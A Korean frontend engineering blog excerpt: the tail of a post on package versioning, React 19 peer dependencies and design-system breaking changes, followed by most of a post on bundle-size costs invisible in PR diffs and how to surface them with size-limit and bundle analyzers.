```json
{
  "peerDependencies": {
    "react": "^19.0.0",
    "react-dom": "^19.0.0"
  }
}
```

문제는 이 선언만 던져두고 React 18 사용자를 언제까지 지원할지, 이전 major에 어떤 패치를 해줄지, React 19 전용 기능을 왜 도입했는지 설명하지 않는 것이다. 특히 디자인시스템에서는 peer dependency 하나가 제품 전체의 React 버전을 움직인다. 버튼 하나가 React 19만 지원한다고 선언하면, 그 버튼을 쓰는 앱 전체가 같은 결정을 강요받는다.

그래서 peer dependency 변경은 changelog 한 줄로 끝나면 안 된다. 최소한 다음 정보가 같이 있어야 한다.

- React 18 지원 종료일
- React 18용 마지막 major/minor
- React 18 라인에 제공할 bug/security patch 범위
- React 19 전환을 위한 codemod 또는 migration guide
- 사내 앱별 migration window
- canary/stable package의 사용 원칙

`peerDependencies`는 설치 메타데이터가 아니라 운영 정책이다. 사용자가 warning을 무시하도록 만드는 순간, 유지보수자는 호환성 책임을 사용자에게 넘기고 있는 셈이다.

## 디자인시스템의 breaking change는 시각적 결과까지 포함한다

일반 라이브러리에서 breaking change는 보통 API 제거, 함수 시그니처 변경, 타입 변경을 뜻한다. 디자인시스템에서는 더 넓다.

Nulogy Design System은 prop 제거, prop rename, 컴포넌트 이름 변경뿐 아니라 layout에 영향을 주는 visual update도 major change로 본다. font size, font weight, letter spacing 변경도 줄바꿈과 레이아웃에 영향을 줄 수 있으므로 breaking change가 될 수 있다.

GitLab Pajamas Design System도 비슷하다. 업데이트 후 디자이너가 어떤 조치를 해야 한다면 breaking change로 본다. dimension 변경, property incompatibility, override 손실 같은 것들이 모두 포함된다.

이 관점은 사내 디자인시스템에 특히 중요하다. 디자인시스템의 변경은 TypeScript compile error로만 드러나지 않는다.

- 버튼 높이가 바뀌어 화면이 밀린다.
- 모달 padding이 바뀌어 QA 스냅샷이 깨진다.
- 토큰 이름이 바뀌어 theme override가 사라진다.
- DOM 구조가 바뀌어 테스트 selector가 실패한다.
- 기본 aria 속성이 바뀌어 접근성 테스트가 달라진다.
- 컴포넌트 내부 focus 동작이 바뀌어 E2E가 실패한다.

내가 겪은 문제도 이 범주였다. 예를 들어 색상 토큰 alias가 바뀌면서 제품에서 덮어쓴 theme override가 더 이상 적용되지 않았다. 버튼 높이와 모달 내부 여백이 바뀌면서 화면이 몇 픽셀씩 밀렸고, QA 스냅샷과 회귀 테스트가 같이 깨졌다. 컴포넌트 prop은 그대로였기 때문에 TypeScript는 조용했지만, 사용자가 보는 화면과 테스트는 조용하지 않았다.

이런 변화는 코드상으로 minor처럼 보일 수 있다. 하지만 사용자에게는 major다.

그래서 디자인시스템은 semver를 더 보수적으로 해석해야 한다. 특히 "시각적 변경은 API 변경이 아니다"라고 보면 안 된다. 디자인시스템에서 시각적 결과는 API의 일부다. 사용자는 디자인시스템의 DOM, CSS, token, spacing, interaction을 제품의 일부로 소비한다.

## 오래 쓸 수 있는 패키지의 체크포인트

앞의 내용을 다시 번호로 길게 풀 필요는 없다. 실무에서 패키지의 릴리즈 노트나 업그레이드 가이드를 볼 때 확인할 항목만 남기면 이렇다.

| 항목             | 좋지 않은 신호                          | 좋은 신호                                            |
| ---------------- | --------------------------------------- | ---------------------------------------------------- |
| semver           | patch/minor에 breaking change가 들어감  | 애매한 변경은 major로 보내고 migration path를 제공함 |
| release cadence  | 매번 최신 버전으로 사실상 강제함        | upgrade window와 긴급도를 설명함                     |
| 이전 major 지원  | 새 major가 나오면 이전 line이 방치됨    | EOL 날짜와 bug/security patch 범위를 명시함          |
| deprecation      | 제거된 뒤 changelog에서 발견됨          | warning, JSDoc, lint rule, codemod로 미리 알림       |
| dependencies     | 구현 편의를 위해 core dependency를 늘림 | platform API, optional dependency, adapter를 검토함  |
| peerDependencies | warning을 사용자가 무시하게 만듦        | 지원 range를 CI로 검증하고 미지원 조합을 명확히 말함 |
| canary           | blocker fix 때문에 production에 올라감  | critical fix를 stable line에 backport함              |
| migration        | "최신 버전으로 올리세요"만 있음         | 영향 범위, 순서, 자동화, 롤백 가능성을 설명함        |

이 표의 공통점은 하나다. 좋은 패키지는 변화의 비용을 없애지는 못해도, 사용자가 그 비용을 예측하고 일정에 넣을 수 있게 해준다.

## 좋은 패키지는 사용자의 시간을 존중한다

패키지 유지보수에서 중요한 것은 변화 자체를 피하는 것이 아니다. 변화는 필요하다. 낡은 API는 제거해야 하고, 더 나은 구조로 옮겨가야 하며, 보안 문제는 빠르게 고쳐야 한다. 문제는 그 변화가 사용자에게 어떻게 도착하느냐다.

패키지 개발자는 내부 구조를 과감하게 바꿀 수 있다. 새로운 runtime을 지원하고, 더 나은 bundler로 옮기고, 오래된 API를 정리할 수 있다. 하지만 그 변화가 사용자에게 전달될 때는 보수적이어야 한다. 사용자가 미리 알고, 테스트하고, 점진적으로 옮기고, 실패했을 때 되돌릴 수 있어야 한다.

제아무리 좋은 기능이라도 사용자가 소프트랜딩할 수 없다면, 그 기능은 개선이 아니라 일정 침범이 된다.

유지보수자는 늘 어려운 선택을 한다. 낡은 API를 계속 들고 가면 코드가 복잡해진다. 이전 major에 보안 패치를 backport하면 시간이 든다. React 18과 19를 동시에 테스트하면 CI 시간이 늘어난다. canary와 stable을 분리하면 릴리즈 운영이 귀찮아진다. 이 비용은 실제로 크다.

그래서 모든 패키지가 LTS 정책을 갖추고, 모든 major를 오래 지원하고, 모든 migration에 codemod를 제공해야 한다고 말할 수는 없다. 오픈소스든 사내 패키지든 유지보수자의 시간도 유한하다.

다만 좋은 패키지는 자신의 한계를 사용자에게 숨기지 않는다.

```txt
React 18은 더 이상 지원하지 않는다.
v2에는 보안 패치를 backport하지 않는다.
canary는 production 사용을 권장하지 않는다.
이 breaking change는 codemod를 제공하지 않는다.
```

이런 문장은 차갑게 보일 수 있지만, 사용자에게는 차라리 낫다. 불확실성이 줄어들기 때문이다. 사용자는 위험을 알고 선택할 수 있다.

사용자가 오래 쓸 수 있는 패키지는 완벽한 패키지가 아니다. **예측 가능한 패키지다.** 변화가 있을 때 이유를 설명하고, 지원 범위를 명확히 말하고, 가능한 한 업그레이드 비용을 낮추며, 사용자가 일정을 잡을 수 있게 해주는 패키지다.

결국 패키지의 품질은 릴리즈 이후에 드러난다. 처음 설치했을 때의 DX는 시작일 뿐이다. 진짜 DX는 6개월 뒤 보안 패치를 해야 할 때, 1년 뒤 major upgrade를 해야 할 때, 사내 제품 20개가 같은 디자인시스템을 각자 다른 속도로 따라가야 할 때 드러난다.

좋은 패키지는 사용자의 코드를 깨지 않는 패키지가 아니다. 코드를 깨야 할 때조차 사용자의 시간을 존중하는 패키지다.

## 참고

- **Next.js 15 / React 19 마이그레이션**: [Next.js 15](https://nextjs.org/blog/next-15), [Upgrade Guide](https://nextjs.org/docs/app/guides/upgrading/version-15), [React 19 Upgrade Guide](https://react.dev/blog/2024/04/25/react-19-upgrade-guide)
- **사용자 보고**: [discussion #73405](https://github.com/vercel/next.js/discussions/73405), [issue #72204](https://github.com/vercel/next.js/issues/72204), [Headless UI #3538](https://github.com/tailwindlabs/headlessui/issues/3538), [Reddit thread](https://www.reddit.com/r/nextjs/comments/1g9cqyq)
- **보안 advisory**: Next.js [RCE](https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp) / [DoS](https://github.com/advisories/GHSA-q4gf-8mx6-v5v3), axios [SSRF](https://github.com/advisories/ghsa-jr5f-v2jv-69x6) / [DoS](https://github.com/advisories/GHSA-4hjh-wcwx-xvwj)
- **Yarn Berry / PnP**: [Migration guide](https://yarnpkg.com/migration/pnp), [SO: PnP 끄는 법](https://stackoverflow.com/questions/60012394/how-to-turn-off-yarn2-pnp), [issue #6380 (TS SDK)](https://github.com/yarnpkg/berry/issues/6380), [issue #7071 (Vite 8)](https://github.com/yarnpkg/berry/issues/7071)
- **React 19 peer 호환 사례**: [react-aria-components #7583](https://github.com/adobe/react-spectrum/issues/7583), [ant-design-mobile #6899](https://github.com/ant-design/ant-design-mobile/issues/6899), [vidstack/player #1533](https://github.com/vidstack/player/issues/1533)
- **디자인시스템 versioning**: [ICDS](https://design.sis.gov.uk/get-started/releases-versions/), [Nulogy](https://nulogy.design/guides/versioning/), [GitLab Pajamas](https://design.gitlab.com/get-started/uik-breaking-changes/)

---

Source: https://yceffort.kr/2026/05/pr-diff-vs-bundle.md
Title: PR diff에서는 <em>보이지 않는 비용</em>: 우리는 사용자가 받는 코드를 리뷰하고 있지 않다
Description: 코드 리뷰가 놓치는 bundle 비용, PR에 어떻게 띄울 것인가.
Date: 2026-05-03
Tags: frontend, bundle-analysis, performance, tree-shaking, code-review

## Table of Contents

## 서론

코드 리뷰는 frontend에서 필요조건이지 충분조건이 아니다. 백엔드는 컴파일 산출물이 사용자에게 직접 도달하지 않는다. JVM bytecode가 어떻게 생겼는지, JIT가 어떻게 inlining했는지를 PR에서 따지는 사람은 없다. 그러나 frontend는 다르다. 사용자에게 도착하는 건 source가 아니라 bundle이고, 그 bundle은 PR diff에 나타나지 않는다.

리뷰어가 본 `import { Button } from '@/components'` 한 줄이 bundle에서 200KB가 되기도 하고, `package.json`에 추가된 한 줄이 의존성 트리 전체를 끌고 들어오기도 한다. PR diff의 +1줄과 production bundle의 +200KB 사이에는 사람이 보지 않으면 닫히지 않는 간극이 있다.

해법은 특정 import 패턴을 외워서 사람이 더 꼼꼼히 리뷰하는 것이 아니다. 그런 방식은 오래 가지 않는다. **source review만으로는 부족하다. PR에는 source diff뿐 아니라 artifact diff의 요약이 같이 올라와야 한다.** 그 계측이 빠져 있을 때 어디서 비용이 새는지 먼저 보고, 그다음에 어떻게 PR에 노출시킬지로 넘어간다.

## 왜 frontend에서는 이 문제가 더 직접적인가

백엔드에서도 산출물 크기는 운영 비용에 영향을 준다. cold start latency, 메모리 사용량, container image pull 시간 같은 것들. 그러나 일반적인 웹 요청에서 사용자가 그 코드를 직접 다운로드하고 파싱하고 실행하지는 않는다. 사용자에게 도착하는 건 HTTP response body다. JIT가 어떤 inline을 했든, GraalVM이 dead code를 어떻게 정리했든, 사용자 입장에서는 모르는 일이다.

frontend는 다르다. 사용자가 받는 것은 source 그 자체가 아니라 다음 변환을 거친 결과다.

1. 번들러가 모듈 그래프에서 추출한 chunk
2. tree-shaker가 살린 export
3. minifier가 mangling/scope hoisting/dead-code elimination 후 남긴 결과
4. compressor가 brotli/gzip으로 압축한 바이트
5. 브라우저가 parse → compile → execute해야 하는 JavaScript

PR diff는 1번 위쪽, source code만 보여준다. 그 이후의 변환은 PR에 나타나지 않는다. 변환 과정 어디에서든 한 줄 추가가 +200KB로 부풀어 오를 수 있고, 사람의 눈에는 그 부풀음이 보이지 않는다. 이 비용은 그대로 사용자 브라우저의 네트워크·파싱·컴파일·실행으로 전가된다.

게다가 이 변환은 환경에 민감하다. 같은 source가 다음 조건에 따라 다른 산출물을 낸다.

- 번들러 버전 (minor version 차이만으로도 chunking이나 최적화 결과가 달라질 수 있다)
- 번들러 종류 (Webpack, Turbopack, Rollup, esbuild의 tree-shaking 정책이 각자 다르다)
- 의존하는 패키지의 `sideEffects` 선언
- 환경 변수 (NODE_ENV, browserslist target)
- 번들러의 chunk 분할과 plugin 실행 순서
- 툴체인 버전 또는 플랫폼 의존 plugin 차이

같은 PR이 다른 환경에서 다른 bundle을 만든다. 산출물에 대한 가시성이 없으면 비용을 측정할 수 없을 뿐만 아니라 재현조차 안 된다.

## Bundle size는 사용자 비용의 일부일 뿐이다

카탈로그로 들어가기 전에 비용 모델을 먼저 잡아두자. 아래 패턴들은 모두 "bundle이 커진다"는 결과로 수렴하는데, 사용자에게 가는 진짜 비용은 bundle size 그 자체가 아니다. bundle size는 간접 지표다.

사용자에게 가는 비용은 네 단계로 쪼갤 수 있다.

1. **Network**: 다운로드 시간. 압축된 byte size에 비례, 사용자 네트워크에 따라 가변.
2. **Parse**: JavaScript engine이 파싱하는 시간. 원본 byte size에 비례, CPU에 따라 가변.
3. **Compile**: V8/JSC가 bytecode로 컴파일하는 시간. JavaScript의 양과 복잡도에 비례.
4. **Execute**: 실제 코드 실행 시간. 코드의 동작에 비례.

Brotli/gzip 통계로 "+12KB 늘었다"고 보고할 때, 실제로는 원본이 +60KB일 수 있고, parse/compile 비용은 그 원본 크기에 비례한다. 모바일 저사양 기기에서는 parse + compile만으로 수백 ms가 추가되기도 한다. 이게 LCP(Largest Contentful Paint)와 TBT(Total Blocking Time)를 직접 끌어내린다.

압축 후 bundle size는 lower bound이지 실제 비용이 아니다. 더 정확한 측정은 CrUX(Chrome User Experience Report) 데이터나 Real User Monitoring으로 LCP/INP의 분포 변화를 보는 쪽이다. 다만 PR 단의 빠른 피드백으로는 bundle size diff가 가장 싸고 가장 효과적인 proxy다. 진짜 비용까지 보려면 그 위에 RUM 모니터링이 따로 있어야 한다.

이걸 짚어두지 않으면 카탈로그가 "size에 영향을 주는 패턴들"로만 읽히고, 결론은 "size-limit 켰으니 끝"으로 흐른다. Network/Parse/Compile/Execute 4단계를 머리에 두고 카탈로그로 들어가자.

## 카탈로그: 코드에서는 무해하고, bundle에서는 터지는 것들

### 1. Barrel file (index.ts re-export)

```ts
// src/components/index.ts
export * from './Button'
export * from './Modal'
export * from './Chart' // 무거운 dependency 포함
```

사용처에서는 한 줄이다.

```ts
import {Button} from '@/components'
```

리뷰어 눈에는 깨끗하다. 그런데 bundle에는 `Chart`와 그 transitive dependency까지 들어갈 수 있다.

#### 왜 이렇게 되는가

tree-shaking이 작동하려면 번들러가 "이 export를 살리지 않아도 안전하다"는 것을 정적으로 증명할 수 있어야 한다. 그 증명의 첫 번째 조건이 `sideEffects` 선언이다. `package.json`에 `"sideEffects": false`가 명시되어 있고, 모든 모듈이 ESM `import`/`export`만 쓰고, top-level에서 부수효과(IIFE, register 호출, polyfill 패치 등)를 일으키지 않으면, 번들러는 안 쓴 export를 떼어낸다.

barrel은 번들러가 "이 re-export 경로를 제거해도 안전하다"고 증명해야 하는 범위를 넓힌다. `sideEffects` 선언이 없거나, re-export 대상 모듈에 top-level side effect가 있거나(예: `console.log`, `register()` 호출, polyfill 패치), CommonJS가 섞여 있으면 번들러는 보수적으로 해당 경로를 살린다. 모든 조건이 잘 맞으면 tree-shaking이 작동하지만, 조건 하나만 어긋나도 가지가 통째로 살아남는다.

ESM 표준 자체도 보수적이다. `export * from`은 namespace를 합치는 의미이고, 번들러가 "어떤 이름이 실제로 쓰이는지" 추적하지 못하면 전부 살린다. webpack은 `usedExports` 분석으로 이를 어느 정도 줄이지만, 모든 가지를 따라 들어가서 증명하는 비용이 들기 때문에 한계가 있다.

다만 barrel 자체가 늘 비용을 만드는 건 아니다. tree-shaking이 필요 없는 의도적인 구조, 예컨대 Node.js 서버 코드처럼 번들링을 하지 않는 환경이나 모든 export가 실제로 사용되는 작은 internal 모듈에서는 정당하다. 문제는 client bundle로 향하는 코드에서 barrel을 쓸 때다.

#### 실제로 얼마나 터지는가

같은 함수를 lodash와 lodash-es로 import해서 비교하면 차이가 명확하게 드러난다.

```ts
// lodash (CommonJS): 라이브러리 거의 전체가 들어옴
import {debounce} from 'lodash'

// lodash-es (ESM): debounce가 필요로 하는 helper만
import {debounce} from 'lodash-es'

// 또는 더 안전하게
import debounce from 'lodash/debounce'
```

전자는 `lodash` 전체에 가까운 양이 bundle에 들어가고, 후자는 `debounce` 구현과 그것이 의존하는 내부 helper만 가져온다. 차이는 자릿수 단위다. ESM이냐 CommonJS냐의 차이가 하나, barrel을 거치느냐가 둘이다.

Vercel 팀이 Next.js에 [`optimizePackageImports`](https://nextjs.org/docs/app/api-reference/config/next-config-js/optimizePackageImports)를 넣은 이유가 정확히 이것이다. barrel을 가진 패키지를 빌드 타임에 직접 import로 자동 변환한다. 자동 적용 패키지 리스트에 `lucide-react`, `@mui/material`, `date-fns`, `lodash-es` 같은 이름이 들어 있다는 사실이, 이 패턴이 얼마나 흔한지를 거꾸로 증명한다. 다만 이 옵션은 여전히 `experimental.optimizePackageImports`로 안내되는 영역이라, 근본 해결이라기보다는 우회책에 가깝다.

실제로 [성능 분석 3편](/2025/06/web-performance-analysis-3)에서 비슷한 케이스를 추적한 적이 있다. `@web-memo/ui`라는 내부 UI 패키지가 `sideEffects: false`도 명시했고 실제 사용처도 없는데, `recharts` 전체가 client bundle에 들어와 있었다. 원인은 여러 단계로 중첩된 barrel export 구조였고, webpack이 정확한 dependency graph를 만들지 못해 barrel 파일을 통째 블록으로 간주한 결과였다. `optimizePackageImports`로 우회는 가능하지만, 근본 해결은 `exports` 필드로 각 컴포넌트를 명시적으로 내보내는 것이다.

#### 어떻게 발견하는가

- `eslint-plugin-barrel-files`[^barrel-files]나 `eslint-plugin-no-barrel-files`[^no-barrel-files]로 정적 차단
- bundle analyzer treemap에서 import한 적 없는 컴포넌트가 chunk에 들어와 있는지 확인
- direct import와 barrel import로 같은 컴포넌트를 import하고 size-limit으로 차이 측정

세 번째가 가장 확실한 증명이고, 첫 번째가 가장 싸다.

### 2. Tree-shaking 안 되는 라이브러리 설치

`package.json`에 한 줄 추가했을 뿐인 PR을 본 적이 있을 것이다.

```diff
+ "moment": "^2.30.0"
```

코드 리뷰 코멘트는 보통 "라이브러리 추가 OK". 그런데 `moment`는 CommonJS 기반이고 locale 처리도 무거운 편이라 tree-shaking이 잘 작동하지 않는다. 빌드 설정과 locale 포함 여부에 따라 다르지만, gzip 기준으로도 수십 KB에서 100KB 이상까지 bundle을 늘릴 수 있다.

[성능 분석 2편](/2025/05/web-performance-analysis-2)에서도 같은 패턴을 추적한 적이 있다. production bundle을 펴 보니 사용하지도 않는 lodash 유틸들이 `__app` 변수에 통째로 박혀 있었다. lodash가 트리쉐이킹이 안 되는 라이브러리이기 때문이고, 이런 라이브러리는 한 줄 import가 사실상 "전체 import"로 작동한다.

#### 어떤 신호를 보고 의심해야 하는가

라이브러리 `package.json`을 펴서 다음을 확인한다.

- `"main"`만 있고 `"module"` 또는 `"exports"`가 없음 → CommonJS-only. tree-shaking 거의 불가능
- `"sideEffects"` 미선언 또는 `true` → 번들러는 "전부 살려야 안전하다"고 가정
- `"exports"` 필드에 ESM entry가 있어도 내부 구현이 dynamic require를 쓰면 무력화됨
- 라이브러리 자체가 barrel과 side effect를 같이 가짐 (예: top-level에서 plugin 등록)

#### 발견 방법

PR 시점에 잡는 도구는 [bundlephobia](https://bundlephobia.com)나 에디터의 [Import Cost extension](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost). CI에 size-limit이 깔려 있다면 추가 PR이 budget을 초과해서 fail하는 시점에 잡힌다. 라이브러리 추가 PR에 대한 별도 정책은 뒤에서 다시 다룬다.

### 3. 동적 import 경로

```ts
const mod = await import(`./locales/${lang}.json`)
```

번들러는 `./locales/*` 전체를 하나의 chunk 그룹으로 잡는다. 사용자가 한국어만 쓰는데, 30개 언어 JSON이 모두 production bundle에 chunk로 존재한다.

#### 왜 이렇게 되는가

`import()`의 인자가 정적 문자열이면 번들러는 정확히 한 모듈만 코드 분할한다. 인자가 template literal이나 변수면 번들러는 컴파일 타임에 어떤 모듈이 필요한지 결정할 수 없다. 그래서 "이 패턴에 매칭될 수 있는 모든 모듈"을 후보로 잡고 각각을 별도 chunk로 만들어둔다. 런타임에 어떤 lang이 들어오든 즉시 fetch 가능하게 하려는 보수적 결정이다.

코드 한 줄로는 의도가 보이지 않는다. "동적 import니까 lazy load겠지"라는 직관이 오히려 발목을 잡는다. lazy하게 fetch되긴 하지만, 그 chunk들이 빌드 산출물에 모두 존재한다.

#### 해결

가장 간단한 해결은 매니페스트를 명시적으로 두는 것이다.

```ts
const loaders = {
  ko: () => import('./locales/ko.json'),
  en: () => import('./locales/en.json'),
} as const

const mod = await loaders[lang]()
```

이러면 번들러가 정확히 두 chunk를 만든다. 또는 빌드 타임에 어떤 locale을 포함할지를 환경 변수로 fix하고, 그 외는 dynamic import 자체를 제거하는 방법도 있다. 어느 쪽이든 핵심은 어떤 모듈이 필요한지를 사람이 명시하는 것이다. 이 결정이 코드에 없으면, 번들러는 "다 포함해야 안전하다"는 쪽을 택한다.

[성능 분석 3편](/2025/06/web-performance-analysis-3)에서는 같은 패턴이 빌드 산출물뿐 아니라 런타임으로도 번지는 걸 확인한 적이 있다. `import('./locales/${lang}/translation.json')` 형태가 i18next 초기화에 걸려 있었는데, 매 SSR 요청마다 I/O와 초기화 비용이 다시 발생했다. 서버리스 환경에서는 cold start 비용까지 같이 늘어났다. dynamic 경로 한 줄의 비용은 client bundle에만 머물지 않는다.

### 4. RSC에서 'use client' 경계 침범

App Router에서 가장 조용히 새는 비용이고, 가장 잡기 어렵다.

```tsx
// app/page.tsx (server component)
import {ProductCard} from './ProductCard'
```

`ProductCard`가 client component이고, 그 안에서 무거운 차트 라이브러리를 import한다고 하자.

```tsx
// ProductCard.tsx
'use client'
import {Chart} from 'recharts'
```

서버 컴포넌트 트리에서 client component를 import하는 순간, 그 client component와 그것이 의존하는 모든 모듈이 client bundle에 들어간다.

#### 모듈 그래프 시점에서 본 메커니즘

Next.js의 RSC bundler는 모듈을 두 그래프로 분리한다. server graph와 client graph. `'use client'` 디렉티브는 그 경계를 표시하는 marker다. server module이 client module을 import하면 그 client module은 client graph의 진입점(entry)이 된다. 그리고 client module이 transitive하게 의존하는 모든 모듈이 그 entry의 chunk에 묶인다.

transitive 의존성이 자동으로 client로 따라온다는 것이 핵심이다. server에서만 쓰려고 했던 무거운 유틸리티가, client component 한 곳에서 import되는 순간 client로 넘어간다.

```ts
// utils/heavy-parser.ts (의도상 server-only)
import { parser } from 'fast-xml-parser' // 70KB

export function parseXml(input: string) { ... }
```

이 모듈을 client component에서 무심코 import하면:

```tsx
'use client'
import {parseXml} from '@/utils/heavy-parser'
```

`fast-xml-parser` 70KB가 client bundle로 따라온다. PR diff에서는 import 한 줄이고, 그 한 줄이 server graph에 있던 모듈 전체를 client로 넘긴다.

#### 크기 문제가 보안 문제로 바뀌는 경우

같은 RSC 경계에서 보안/데이터 노출 문제로 번지는 변형도 있다.

```ts
// shared/config.ts (server에서만 import한다고 가정)
export const internalSecret = process.env.SECRET
```

`process.env.SECRET`은 `NEXT_PUBLIC_` prefix가 없으므로 client build에서는 인라이닝되지 않는다. 거기까지는 안전하다. 그러나 이 모듈이 server에서 평가될 때는 실제 secret 값이 모듈 top-level 상수 `internalSecret`에 박힌다. 그 값이 server component를 거쳐 어떤 형태로든 렌더 결과로 흘러가면, 예를 들어 `<div data-config={internalSecret}>` 같은 형태로 props에 들어가거나 client component의 prop으로 전달되면, server-side 렌더링 결과 HTML과 RSC payload에 그대로 실린다. 사용자에게 노출된다.

PR diff에서는 그저 "server에서 환경 변수를 읽어 export하는 모듈"일 뿐이고, 그 export가 어디까지 흘러가는지는 호출 그래프를 따라가야 보인다. 이런 경로는 PR diff로는 잡히지 않는다.

#### 어떻게 잡는가

- [`server-only`](https://www.npmjs.com/package/server-only) / [`client-only`](https://www.npmjs.com/package/client-only) 패키지로 경계를 강제. 모듈 top에 `import 'server-only'`만 적어두면 client에서 import할 때 빌드가 깨진다. secret을 다루는 모듈에는 반드시 붙인다.
- [eslint-plugin-react-server-components](https://www.npmjs.com/package/eslint-plugin-react-server-components) 같은 lint 규칙
- Next.js Bundle Analyzer(Turbopack)나 `@next/bundle-analyzer`(Webpack)로 client chunk treemap을 직접 확인
- `next build` 출력의 First Load JS를 정기적으로 모니터링

그래도 transitive하게 새는 경우는 잡기 어렵다. server-only 마커가 모든 보호용 모듈에 일관되게 붙어 있어야 효력이 생긴다.

### 5. Transitive dependency duplication

A 라이브러리가 `zod@3.22`, B 라이브러리가 `zod@3.23`을 요구하면 npm/pnpm은 둘 다 설치한다. lockfile에서는 보이지만 PR diff에서는 안 보인다. bundle에는 zod가 두 번 들어간다.

#### 단순 중복이 아니라 버그가 되는 경우

이게 React, Vue 같은 큰 라이브러리에서 발생하면 단순한 크기 문제가 아니라 런타임 버그가 된다. 서로 다른 인스턴스의 React가 한 트리 안에서 동작하면 hooks가 깨지고, context가 안 통하고, `instanceof` 검사가 false가 된다. peer dependency가 정확히 이 문제를 막기 위한 메커니즘이지만, 잘못된 peer 범위 선언이나 강제 install로 우회되는 경우가 있다.

zod 같은 schema 라이브러리도 비슷하다. 한쪽에서 만든 schema 인스턴스를 다른 쪽에서 검증하려고 하면 `instanceof` 검사가 false가 되어 이상한 에러가 난다.

#### 발견과 해결

- `pnpm why <pkg>`나 `npm ls <pkg>`로 어떤 의존성 트리를 통해 들어오는지 확인
- pnpm/npm은 `overrides`, yarn은 `resolutions`로 강제 통일
- bundle analyzer treemap에서 두 번 등장하는 모듈을 시각적으로 확인
- CI에서 lockfile 기반으로 dedup 가능 여부를 정기 점검 (`pnpm dedupe --check`)

사람이 PR마다 자발적으로 하지는 않는다. CI 파이프라인에 한 번 깔아두면 된다.

### 6. 그 외에 짧게 짚을 패턴들

각각이 깊은 분석을 요구하기보다 위 패턴들과 같은 가족이라 묶어서 짧게 짚는다. 코드에서는 한 줄, bundle에서는 자릿수 단위 비용이라는 구조다.

**런타임 CSS-in-JS의 첫 사용 비용.** styled-components, emotion 같은 런타임 CSS-in-JS는 첫 사용 컴포넌트가 만들어지는 순간 런타임 라이브러리를 통째로 끌어온다. 이미 들어 있으면 무료, 없으면 갑자기 30KB+. App Router에서는 server component와의 호환성 문제 때문에 별도 wrapping이 추가로 필요해서, bundle size와 hydration cost가 같이 누적된다.

**Polyfill 자동 주입.** `core-js` 자동 주입은 `browserslist` 설정에 따라 수십 KB씩 흔들린다. 코드에는 흔적이 없다. browserslist 한 줄을 바꾼 PR이 bundle을 50KB 늘리거나 줄이는 일이 자주 있다.

**process.env 인라이닝과 secret leak.** `NEXT_PUBLIC_*` 환경 변수는 빌드 타임에 그대로 문자열로 박힌다. 실수로 `NEXT_PUBLIC_` prefix를 붙인 secret이 client bundle에 그대로 노출되는 사고가 가끔 일어난다. PR diff에서는 환경 변수 이름만 보이고, 그 값이 client bundle에 인라이닝된다는 사실은 보이지 않는다. 추가로, bundle에 박힌 환경 변수는 deploy 시점에 고정되므로 Vercel 같은 플랫폼에서 환경 변수만 바꿔도 새 build를 트리거하지 않으면 옛 값이 남는다.

**정적 자산의 namespace import.** `import * as Icons from '@/assets/icons'`로 200개 SVG를 통째로 import하면, 사용자가 한 화면에서 5개만 보는데 200개 전부가 빌드 산출물에 들어간다. 동적 import 경로 문제와 같은 구조다. 어떤 자산이 필요한지를 사람이 명시하지 않으면 번들러는 다 포함한다.

**dev와 prod의 동작 차이.** dev 모드는 HMR runtime 포함, minification 끔, tree-shaking 약하게 적용, React.lazy chunking 정책 다름 같은 차이가 있다. dev에서는 모든 client component가 한 chunk에 묶여 보이지만 prod에서는 route 단위로 쪼개진다. 그 결과 dev에서는 보이지 않던 "특정 route 진입 시 +120KB chunk fetch"가 prod에서만 발생한다. PR을 dev로만 검증하면 이 비용이 안 보인다.

## 그래서 어떻게 할 것인가

이 모든 것을 사람이 PR에서 일일이 잡는 운영은 오래 못 간다. 결론은 하나다.

> **코드만 리뷰하지 말고, 산출물의 변화도 PR에서 보이게 만들어라.**

사람이 bundle을 읽는 게 아니라, bundle의 변화를 사람이 읽을 수 있는 형태로 PR에 노출시키는 게 진짜 해법이다. 신뢰도 순으로 정리한다.

### 1. Bundle size diff를 PR comment로 (필수)

"+12KB" 같은 숫자가 PR에 자동으로 찍히는 순간, barrel 추가나 무거운 라이브러리 설치는 자동으로 가시화된다.

#### size-limit + size-limit-action

[size-limit](https://github.com/ai/size-limit)이 가장 일반적인 선택이다. `package.json`에 다음과 같이 budget을 정의한다.

```json
{
  "size-limit": [
    {
      "name": "main bundle",
      "path": ".next/static/chunks/main-*.js",
      "limit": "120 KB",
      "gzip": true
    },
    {
      "name": "page: /products",
      "path": ".next/static/chunks/pages/products-*.js",
      "limit": "40 KB"
    }
  ]
}
```

[size-limit-action](https://github.com/andresz1/size-limit-action)을 GitHub Action에 붙이면 PR마다 base branch와 비교한 size delta를 코멘트로 단다. budget을 초과하면 CI가 fail이다. budget이 fail의 근거이기 때문에, "왜 +30KB가 OK인가"를 PR에서 명시적으로 정당화하게 된다. 이게 사회적 압력으로 작동한다.

#### Next.js + Vercel 환경

Next.js 프로젝트라면 `next build` 출력, [Next.js Bundle Analyzer (Turbopack)](https://nextjs.org/docs/app/guides/package-bundling), `@next/bundle-analyzer` (Webpack)을 조합해 route별 client bundle 변화를 확인할 수 있다. Vercel에 배포한다면 GitHub integration이 PR마다 deploy preview를 코멘트로 달아주므로 preview URL과 deploy 정보가 같이 노출된다. 다만 bundle 정보가 PR 코멘트에 어떤 형태로 자동 노출되는지는 CI/Vercel 설정과 버전에 따라 달라지므로, 한 번 확인하고 켜는 것이 좋다.

#### bundlewatch

[bundlewatch](https://bundlewatch.io)는 size-limit과 비슷한 컨셉이지만 별도 서비스에 history를 누적해두는 구조다. base branch와의 비교가 더 정확하고, 시계열 변화를 대시보드로 본다.

어느 도구를 쓰든 핵심은 같다. 숫자가 PR 안에 들어와 있어야 한다. 외부 대시보드를 보러 가야 보이는 정보는 결국 안 보는 정보가 된다.

### 2. 작성 시점의 import 비용 가시화

CI보다 빠른 방어선은 에디터다. [vscode-import-cost](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost) 같은 extension은 import 한 줄 옆에 그 모듈의 크기를 표시한다.

```ts
import {debounce} from 'lodash' // 71.5K (gzipped: 25.3K)
import {debounce} from 'lodash-es' // 1.8K  (gzipped: 0.9K)
```

작성하는 그 순간에 옆에 숫자가 떠 있으면, 그 다음 줄을 적기 전에 멈추게 된다. CI보다 훨씬 싸고 훨씬 빠른 피드백이다. 단점은 강제력이 없다는 것. extension을 안 깔고 일하는 사람에게는 효력이 없다. 그래서 CI 단의 size-limit과 같이 가야 한다.

### 3. 정적 lint로 차단

